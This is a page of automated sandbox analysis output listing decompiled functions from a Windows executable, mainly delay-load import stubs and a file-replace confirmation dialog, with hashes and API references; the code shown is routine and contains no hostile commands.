Associated: 00000000.00000002.247548158.00000000013DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247558490.00000000013FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_file.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: a835d8ddf774e44f01802b3d87f893433b18e6d4afb69b37e187c6210888e960
Instruction ID: 0f25129f66ddfc7d9799796ed89c955017d2b43382860d46d3de68ba653c46f8
Opcode Fuzzy Hash: a835d8ddf774e44f01802b3d87f893433b18e6d4afb69b37e187c6210888e960
Instruction Fuzzy Hash: 82B012C72789027CF014F1093F86C76020CC0C1D1C320D14FF900C5A40F4401C090032

Uniqueness

Uniqueness Score: -1.00%

Function 013BC740 Relevance: 1.5, APIs: 1, Instructions: 10
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E013BC740() {
				void* _t3;
				void* _t4;
				void* _t8;
				void* _t9;
				void* _t10;

				_push(_t4);
				E013BCABB(_t3, _t4, _t8, _t9, _t10, 0x13d82cc, 0x13daa70); // executed
				goto __eax;
			}

0x013bc72f
0x013bc737
0x013bc73e

APIs

___delayLoadHelper2@8.DELAYIMP ref: 013BC737

Part of subcall function 013BCABB: DloadReleaseSectionWriteAccess.DELAYIMP ref: 013BCB38
Part of subcall function 013BCABB: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 013BCB49

Memory Dump Source

Source File: 00000000.00000002.247513433.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.247509555.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247533312.00000000013D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247558490.00000000013FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_file.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: afb235acea241cb8735782025b4bc232558c563a7d1f69c9f783ab83c3061876
Instruction ID: 6531d9074de6a2b26fc7acb12b136658beb0898c8b9afaaea03024d0c81cee0a
Opcode Fuzzy Hash: afb235acea241cb8735782025b4bc232558c563a7d1f69c9f783ab83c3061876
Instruction Fuzzy Hash: 7EB012C72784127CF014E1097F46C77020CD0C1D1D320924FF501C5A40F4401C090032

Uniqueness

Uniqueness Score: -1.00%

Function 013BC7BF Relevance: 1.5, APIs: 1, Instructions: 10
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E013BC7BF() {
				void* _t3;
				void* _t4;
				void* _t8;
				void* _t9;
				void* _t10;

				_push(_t4);
				E013BCABB(_t3, _t4, _t8, _t9, _t10, 0x13d82ec, 0x13dab54); // executed
				goto __eax;
			}

0x013bc790
0x013bc798
0x013bc79f

APIs

___delayLoadHelper2@8.DELAYIMP ref: 013BC798

Part of subcall function 013BCABB: DloadReleaseSectionWriteAccess.DELAYIMP ref: 013BCB38
Part of subcall function 013BCABB: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 013BCB49

Memory Dump Source

Source File: 00000000.00000002.247513433.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.247509555.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247533312.00000000013D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247558490.00000000013FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_file.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 83dc68f0004c33943c75ca452d543ee3d75d95253856d9a6468b958d6cc6a6d3
Instruction ID: b7cc91081f8c28b5d27886826712259810cfd2c155c535d9e5e0d9069c3e3990
Opcode Fuzzy Hash: 83dc68f0004c33943c75ca452d543ee3d75d95253856d9a6468b958d6cc6a6d3
Instruction Fuzzy Hash: 1AB012C727C0017CF014D14A3F46C76020DC4C8D1C320D40FF500C2A40F4801C0F0135

Uniqueness

Uniqueness Score: -1.00%

Function 013BC7B5 Relevance: 1.5, APIs: 1, Instructions: 10
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E013BC7B5() {
				void* _t3;
				void* _t4;
				void* _t8;
				void* _t9;
				void* _t10;

				_push(_t4);
				E013BCABB(_t3, _t4, _t8, _t9, _t10, 0x13d82ec, 0x13dab60); // executed
				goto __eax;
			}

0x013bc790
0x013bc798
0x013bc79f

APIs

___delayLoadHelper2@8.DELAYIMP ref: 013BC798

Part of subcall function 013BCABB: DloadReleaseSectionWriteAccess.DELAYIMP ref: 013BCB38
Part of subcall function 013BCABB: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 013BCB49

Memory Dump Source

Source File: 00000000.00000002.247513433.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.247509555.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247533312.00000000013D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247558490.00000000013FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_file.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 77ca2c7e745c12f48afe52fbef2a1141d6f014f2f1fe41b4e4a56d477c7f15f7
Instruction ID: dd81bb9673e37e7a9b373d62180a64806f6712e5871a2ff174dae6f3e5022ae9
Opcode Fuzzy Hash: 77ca2c7e745c12f48afe52fbef2a1141d6f014f2f1fe41b4e4a56d477c7f15f7
Instruction Fuzzy Hash: 02B012C72781057CF014D14B3E86C76020CD4C9D1C320D40FF500C5A40F4801C060239

Uniqueness

Uniqueness Score: -1.00%

Function 013BC786 Relevance: 1.5, APIs: 1, Instructions: 10
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E013BC786() {
				void* _t3;
				void* _t4;
				void* _t8;
				void* _t9;
				void* _t10;

				_push(_t4);
				E013BCABB(_t3, _t4, _t8, _t9, _t10, 0x13d82ec, 0x13dab5c); // executed
				goto __eax;
			}

0x013bc790
0x013bc798
0x013bc79f

APIs

___delayLoadHelper2@8.DELAYIMP ref: 013BC798

Part of subcall function 013BCABB: DloadReleaseSectionWriteAccess.DELAYIMP ref: 013BCB38
Part of subcall function 013BCABB: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 013BCB49

Memory Dump Source

Source File: 00000000.00000002.247513433.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.247509555.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247533312.00000000013D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247558490.00000000013FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_file.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: a602a46dda20c2cda326eec476f626728b035a0ad8fbec1598f6ec88bfa19259
Instruction ID: 453643a46e07cc5605b68f333e647aabbcf3fc3a518dbee1faa8fa7f2fbd8916
Opcode Fuzzy Hash: a602a46dda20c2cda326eec476f626728b035a0ad8fbec1598f6ec88bfa19259
Instruction Fuzzy Hash: FAB012D72781017CF014D1463E86C76020DC4C5D1C320D40FF900C1940F4802C0A0039

Uniqueness

Uniqueness Score: -1.00%

Function 013BC777 Relevance: 1.5, APIs: 1, Instructions: 9
COMMON

Download Yara Rule

C-Code - Quality: 22%

			E013BC777() {
				void* _t2;
				void* _t3;
				void* _t6;
				void* _t7;
				void* _t8;

				_push(0x13d82cc); // executed
				E013BCABB(_t2, _t3, _t6, _t7, _t8); // executed
				goto __eax;
			}

0x013bc732
0x013bc737
0x013bc73e

APIs

___delayLoadHelper2@8.DELAYIMP ref: 013BC737

Part of subcall function 013BCABB: DloadReleaseSectionWriteAccess.DELAYIMP ref: 013BCB38
Part of subcall function 013BCABB: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 013BCB49

Memory Dump Source

Source File: 00000000.00000002.247513433.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.247509555.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247533312.00000000013D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247558490.00000000013FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_file.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 8671d6ec0a2c4d16b7555c5481c820f828a3273cbcf7eedc5d5b41fd696af061
Instruction ID: beb72288d2a1873c67dfa90e4f182028720d2e4bcd51bb4628adc0e806ca7782
Opcode Fuzzy Hash: 8671d6ec0a2c4d16b7555c5481c820f828a3273cbcf7eedc5d5b41fd696af061
Instruction Fuzzy Hash: E1A002D65695177CF114A1557D46C76021CC4D5D59320955EF501C4940B54118450071

Uniqueness

Uniqueness Score: -1.00%

Function 013BC76D Relevance: 1.5, APIs: 1, Instructions: 9
COMMON

Download Yara Rule

C-Code - Quality: 22%

			E013BC76D() {
				void* _t2;
				void* _t3;
				void* _t6;
				void* _t7;
				void* _t8;

				_push(0x13d82cc); // executed
				E013BCABB(_t2, _t3, _t6, _t7, _t8); // executed
				goto __eax;
			}

0x013bc732
0x013bc737
0x013bc73e

APIs

___delayLoadHelper2@8.DELAYIMP ref: 013BC737

Part of subcall function 013BCABB: DloadReleaseSectionWriteAccess.DELAYIMP ref: 013BCB38
Part of subcall function 013BCABB: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 013BCB49

Memory Dump Source

Source File: 00000000.00000002.247513433.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.247509555.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247533312.00000000013D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247558490.00000000013FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_file.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: bdc4f2c4f6fa5c09cc774a8478354ff0e63d9495da7de3a22c65dc70f1c37861
Instruction ID: beb72288d2a1873c67dfa90e4f182028720d2e4bcd51bb4628adc0e806ca7782
Opcode Fuzzy Hash: bdc4f2c4f6fa5c09cc774a8478354ff0e63d9495da7de3a22c65dc70f1c37861
Instruction Fuzzy Hash: E1A002D65695177CF114A1557D46C76021CC4D5D59320955EF501C4940B54118450071

Uniqueness

Uniqueness Score: -1.00%

Function 013BC759 Relevance: 1.5, APIs: 1, Instructions: 9
COMMON

Download Yara Rule

C-Code - Quality: 22%

			E013BC759() {
				void* _t2;
				void* _t3;
				void* _t6;
				void* _t7;
				void* _t8;

				_push(0x13d82cc); // executed
				E013BCABB(_t2, _t3, _t6, _t7, _t8); // executed
				goto __eax;
			}

0x013bc732
0x013bc737
0x013bc73e

APIs

___delayLoadHelper2@8.DELAYIMP ref: 013BC737

Part of subcall function 013BCABB: DloadReleaseSectionWriteAccess.DELAYIMP ref: 013BCB38
Part of subcall function 013BCABB: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 013BCB49

Memory Dump Source

Source File: 00000000.00000002.247513433.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.247509555.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247533312.00000000013D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247558490.00000000013FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_file.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: d5749b5dcd445f81180202e5f4ef95601279dd035f45dbdd9980fa663214b324
Instruction ID: beb72288d2a1873c67dfa90e4f182028720d2e4bcd51bb4628adc0e806ca7782
Opcode Fuzzy Hash: d5749b5dcd445f81180202e5f4ef95601279dd035f45dbdd9980fa663214b324
Instruction Fuzzy Hash: E1A002D65695177CF114A1557D46C76021CC4D5D59320955EF501C4940B54118450071

Uniqueness

Uniqueness Score: -1.00%

Function 013BC7B0 Relevance: 1.5, APIs: 1, Instructions: 9
COMMON

Download Yara Rule

C-Code - Quality: 22%

			E013BC7B0() {
				void* _t2;
				void* _t3;
				void* _t6;
				void* _t7;
				void* _t8;

				_push(0x13d82ec); // executed
				E013BCABB(_t2, _t3, _t6, _t7, _t8); // executed
				goto __eax;
			}

0x013bc793
0x013bc798
0x013bc79f

APIs

___delayLoadHelper2@8.DELAYIMP ref: 013BC798

Part of subcall function 013BCABB: DloadReleaseSectionWriteAccess.DELAYIMP ref: 013BCB38
Part of subcall function 013BCABB: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 013BCB49

Memory Dump Source

Source File: 00000000.00000002.247513433.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.247509555.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247533312.00000000013D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247558490.00000000013FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_file.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 42e9a101dfcf223946595d43e85881b6aa803972a1e98af7fc3f6fc23654b427
Instruction ID: 2fd763771af057c589b4693c0aa84217d1cb5a3d4fa7abf3e59be968536b950b
Opcode Fuzzy Hash: 42e9a101dfcf223946595d43e85881b6aa803972a1e98af7fc3f6fc23654b427
Instruction Fuzzy Hash: 36A002D61795067CB11591567D46C76421CC4D9D59320955EE501C4940758018450035

Uniqueness

Uniqueness Score: -1.00%

Function 013BC7A6 Relevance: 1.5, APIs: 1, Instructions: 9
COMMON

Download Yara Rule

C-Code - Quality: 22%

			E013BC7A6() {
				void* _t2;
				void* _t3;
				void* _t6;
				void* _t7;
				void* _t8;

				_push(0x13d82ec); // executed
				E013BCABB(_t2, _t3, _t6, _t7, _t8); // executed
				goto __eax;
			}

0x013bc793
0x013bc798
0x013bc79f

APIs

___delayLoadHelper2@8.DELAYIMP ref: 013BC798

Part of subcall function 013BCABB: DloadReleaseSectionWriteAccess.DELAYIMP ref: 013BCB38
Part of subcall function 013BCABB: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 013BCB49

Memory Dump Source

Source File: 00000000.00000002.247513433.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.247509555.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247533312.00000000013D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247558490.00000000013FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_file.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 6de92e1bf820fe77fb120c17d16c2539a6c0146573954301232b388b41723113
Instruction ID: 2fd763771af057c589b4693c0aa84217d1cb5a3d4fa7abf3e59be968536b950b
Opcode Fuzzy Hash: 6de92e1bf820fe77fb120c17d16c2539a6c0146573954301232b388b41723113
Instruction Fuzzy Hash: 36A002D61795067CB11591567D46C76421CC4D9D59320955EE501C4940758018450035

Uniqueness

Uniqueness Score: -1.00%

Function 013BC781 Relevance: 1.5, APIs: 1, Instructions: 9
COMMON

Download Yara Rule

C-Code - Quality: 22%

			E013BC781() {
				void* _t2;
				void* _t3;
				void* _t6;
				void* _t7;
				void* _t8;

				_push(0x13d82cc); // executed
				E013BCABB(_t2, _t3, _t6, _t7, _t8); // executed
				goto __eax;
			}

0x013bc732
0x013bc737
0x013bc73e

APIs

___delayLoadHelper2@8.DELAYIMP ref: 013BC737

Part of subcall function 013BCABB: DloadReleaseSectionWriteAccess.DELAYIMP ref: 013BCB38
Part of subcall function 013BCABB: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 013BCB49

Memory Dump Source

Source File: 00000000.00000002.247513433.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.247509555.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247533312.00000000013D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247558490.00000000013FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_file.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: ad36595933316cc79d8f099bb989532f9e4cb2f25ce593dddcbee564f225773c
Instruction ID: beb72288d2a1873c67dfa90e4f182028720d2e4bcd51bb4628adc0e806ca7782
Opcode Fuzzy Hash: ad36595933316cc79d8f099bb989532f9e4cb2f25ce593dddcbee564f225773c
Instruction Fuzzy Hash: E1A002D65695177CF114A1557D46C76021CC4D5D59320955EF501C4940B54118450071

Uniqueness

Uniqueness Score: -1.00%

Function 013B9022 Relevance: 1.5, APIs: 1, Instructions: 6
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E013B9022(WCHAR* _a4) {
				signed int _t2;

				_t2 = SetCurrentDirectoryW(_a4); // executed
				asm("sbb eax, eax");
				return  ~( ~_t2);
			}

0x013b9026
0x013b902e
0x013b9032

APIs

SetCurrentDirectoryW.KERNELBASE(?,013B9279,013E2120,00000000,013E3122,00000006), ref: 013B9026

Memory Dump Source

Source File: 00000000.00000002.247513433.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.247509555.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247533312.00000000013D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247558490.00000000013FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_file.jbxd

Similarity

API ID: CurrentDirectory
String ID:
API String ID: 1611563598-0
Opcode ID: ef9ccaa36263a0d0f88309c35cebe9e6ce4ee3d9ee7a6211262ea6b4dcd079bc
Instruction ID: 62db8dbdfd7ad3db998864308a8e5ddd325454f417bd861d1066832f6d8f2eaa
Opcode Fuzzy Hash: ef9ccaa36263a0d0f88309c35cebe9e6ce4ee3d9ee7a6211262ea6b4dcd079bc
Instruction Fuzzy Hash: 5CA0123019510646CA100B30D809C1576549760B02F008620B002C0094CB308810E600

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 013BA536 Relevance: 49.3, APIs: 25, Strings: 3, Instructions: 289
timewindowfileCOMMON

Download Yara Rule

C-Code - Quality: 59%

			E013BA536(void* __ecx, void* __edx, void* __eflags, char _a4, short _a8, char _a12, short _a108, short _a112, char _a192, char _a212, struct _WIN32_FIND_DATAW _a288, signed char _a304, signed char _a308, struct _FILETIME _a332, intOrPtr _a340, intOrPtr _a344, short _a884, short _a896, short _a900, int _a1904, char _a1924, int _a1928, short _a2596, short _a2616, char _a2628, char _a2640, struct HWND__* _a6740, intOrPtr _a6744, signed short _a6748, intOrPtr _a6752) {
				struct _FILETIME _v0;
				struct _SYSTEMTIME _v12;
				struct _SYSTEMTIME _v16;
				struct _FILETIME _v24;
				void* _t73;
				void* _t136;
				long _t137;
				void* _t141;
				void* _t142;
				void* _t143;
				void* _t144;
				void* _t145;
				signed short _t148;
				signed int _t153;
				signed int _t157;
				struct HWND__* _t159;
				intOrPtr _t162;
				void* _t163;
				int _t166;
				int _t169;
				void* _t173;
				void* _t177;
				void* _t179;

				_t156 = __edx;
				E013BCEC0();
				_t148 = _a6748;
				_t162 = _a6744;
				_t159 = _a6740;
				if(E013A12E7(__edx, _t159, _t162, _t148, _a6752, L"REPLACEFILEDLG", 0, 0) == 0) {
					_t163 = _t162 - 0x110;
					if(_t163 == 0) {
						SetFocus(GetDlgItem(_t159, 0x6c));
						E013AF160( &_a2640, _a6752, 0x800);
						E013AB9B2( &_a2628,  &_a2628, 0x800);
						SetDlgItemTextW(_t159, 0x65,  &_a2616);
						 *0x13daa60( &_a2616, 0,  &_a1924, 0x2b4, 0x100);
						SendDlgItemMessageW(_t159, 0x66, 0x170, _a1904, 0);
						_t173 = FindFirstFileW( &_a2596,  &_a288);
						if(_t173 != 0xffffffff) {
							FileTimeToLocalFileTime( &_a332,  &(_v24.dwHighDateTime));
							FileTimeToSystemTime( &(_v24.dwHighDateTime),  &_v12);
							_push(0x32);
							_push( &_a12);
							_push(0);
							_push( &_v12);
							_t166 = 2;
							GetTimeFormatW(0x400, 0x800, ??, ??, ??, ??);
							GetDateFormatW(0x400, 0,  &_v12, 0,  &_a112, 0x32);
							_push( &_a12);
							_push( &_a112);
							E013A3F2B( &_a900, 0x200, L"%s %s %s", E013AD192(0x99));
							_t179 = _t177 + 0x18;
							SetDlgItemTextW(_t159, 0x6a,  &_a900);
							FindClose(_t173);
							if((_a308 & 0x00000010) == 0) {
								_push(0x32);
								_push( &_a212);
								_push(0);
								_pop(0);
								asm("adc eax, ebp");
								_push(_a340);
								_push(0 + _a344);
								E013B932E();
								_push(E013AD192(0x98));
								E013A3F2B( &_a884, 0x200, L"%s %s",  &_a192);
								_t179 = _t179 + 0x14;
								SetDlgItemTextW(_t159, 0x68,  &_a884);
							}
							SendDlgItemMessageW(_t159, 0x67, 0x170, _a1928, 0);
							E013AFF5D( *0x13e211c, _t156,  &_a4);
							FileTimeToLocalFileTime( &_v0,  &_v24);
							FileTimeToSystemTime( &_v24,  &_v16);
							GetTimeFormatW(0x400, _t166,  &_v16, 0,  &_a8, 0x32);
							GetDateFormatW(0x400, 0,  &_v16, 0,  &_a108, 0x32);
							_push( &_a8);
							_push( &_a108);
							E013A3F2B( &_a896, 0x200, L"%s %s %s", E013AD192(0x99));
							_t177 = _t179 + 0x18;
							SetDlgItemTextW(_t159, 0x6b,  &_a896);
							_t153 =  *0x13f7934;
							_t157 =  *0x13f7930;
							if((_a304 & 0x00000010) == 0 || (_t157 | _t153) != 0) {
								E013B932E(_t157, _t153,  &_a212, 0x32);
								_push(E013AD192(0x98));
								E013A3F2B( &_a884, 0x200, L"%s %s",  &_a192);
								_t177 = _t177 + 0x14;
								SetDlgItemTextW(_t159, 0x69,  &_a884);
							}
						}
						L27:
						_t73 = 0;
						L28:
						return _t73;
					}
					if(_t163 != 1) {
						goto L27;
					}
					_t169 = 2;
					_t136 = (_t148 & 0x0000ffff) - _t169;
					if(_t136 == 0) {
						L11:
						_push(6);
						L12:
						_pop(_t169);
						L13:
						_t137 = SendDlgItemMessageW(_t159, 0x66, 0x171, 0, 0);
						if(_t137 != 0) {
							 *0x13daab0(_t137);
						}
						EndDialog(_t159, _t169);
						goto L1;
					}
					_t141 = _t136 - 0x6a;
					if(_t141 == 0) {
						_t169 = 0;
						goto L13;
					}
					_t142 = _t141 - 1;
					if(_t142 == 0) {
						_t169 = 1;
						goto L13;
					}
					_t143 = _t142 - 1;
					if(_t143 == 0) {
						_push(4);
						goto L12;
					}
					_t144 = _t143 - 1;
					if(_t144 == 0) {
						goto L13;
					}
					_t145 = _t144 - 1;
					if(_t145 == 0) {
						_push(3);
						goto L12;
					}
					if(_t145 != 1) {
						goto L27;
					}
					goto L11;
				}
				L1:
				_t73 = 1;
				goto L28;
			}

0x013ba536
0x013ba53b
0x013ba541
0x013ba54a
0x013ba554
0x013ba573
0x013ba57d
0x013ba583
0x013ba5fd
0x013ba618
0x013ba627
0x013ba63d
0x013ba65a
0x013ba670
0x013ba68c
0x013ba691
0x013ba6a4
0x013ba6b4
0x013ba6ba
0x013ba6c0
0x013ba6c1
0x013ba6c7
0x013ba6ca
0x013ba6d1
0x013ba6ef
0x013ba6f9
0x013ba701
0x013ba71f
0x013ba724
0x013ba732
0x013ba735
0x013ba743
0x013ba745
0x013ba757
0x013ba75f
0x013ba761
0x013ba762
0x013ba764
0x013ba765
0x013ba766
0x013ba775
0x013ba790
0x013ba795
0x013ba7a3
0x013ba7a3
0x013ba7b9
0x013ba7ca
0x013ba7d9
0x013ba7e9
0x013ba803
0x013ba81b
0x013ba825
0x013ba82d
0x013ba84c
0x013ba851
0x013ba85f
0x013ba869
0x013ba86f
0x013ba875
0x013ba889
0x013ba898
0x013ba8af
0x013ba8b4
0x013ba8c2
0x013ba8c2
0x013ba875
0x013ba8c4
0x013ba8c4
0x013ba8c6
0x013ba8d0
0x013ba8d0
0x013ba588
0x00000000
0x00000000
0x013ba593
0x013ba594
0x013ba596
0x013ba5ba
0x013ba5ba
0x013ba5bc
0x013ba5bc
0x013ba5bd
0x013ba5c7
0x013ba5cf
0x013ba5d2
0x013ba5d2
0x013ba5da
0x00000000
0x013ba5da
0x013ba598
0x013ba59b
0x013ba5ef
0x00000000
0x013ba5ef
0x013ba59d
0x013ba5a0
0x013ba5ec
0x00000000
0x013ba5ec
0x013ba5a2
0x013ba5a5
0x013ba5e6
0x00000000
0x013ba5e6
0x013ba5a7
0x013ba5aa
0x00000000
0x00000000
0x013ba5ac
0x013ba5af
0x013ba5e2
0x00000000
0x013ba5e2
0x013ba5b4
0x00000000
0x00000000
0x00000000
0x013ba5b4
0x013ba575
0x013ba577
0x00000000

APIs

Part of subcall function 013A12E7: GetDlgItem.USER32(00000000,00003021), ref: 013A132B
Part of subcall function 013A12E7: SetWindowTextW.USER32(00000000,013D02E4), ref: 013A1341

SendDlgItemMessageW.USER32(?,00000066,00000171,00000000,00000000), ref: 013BA5C7
EndDialog.USER32(?,00000006), ref: 013BA5DA
GetDlgItem.USER32(?,0000006C), ref: 013BA5F6
SetFocus.USER32(00000000), ref: 013BA5FD
SetDlgItemTextW.USER32(?,00000065,?), ref: 013BA63D
SendDlgItemMessageW.USER32(?,00000066,00000170,?,00000000), ref: 013BA670
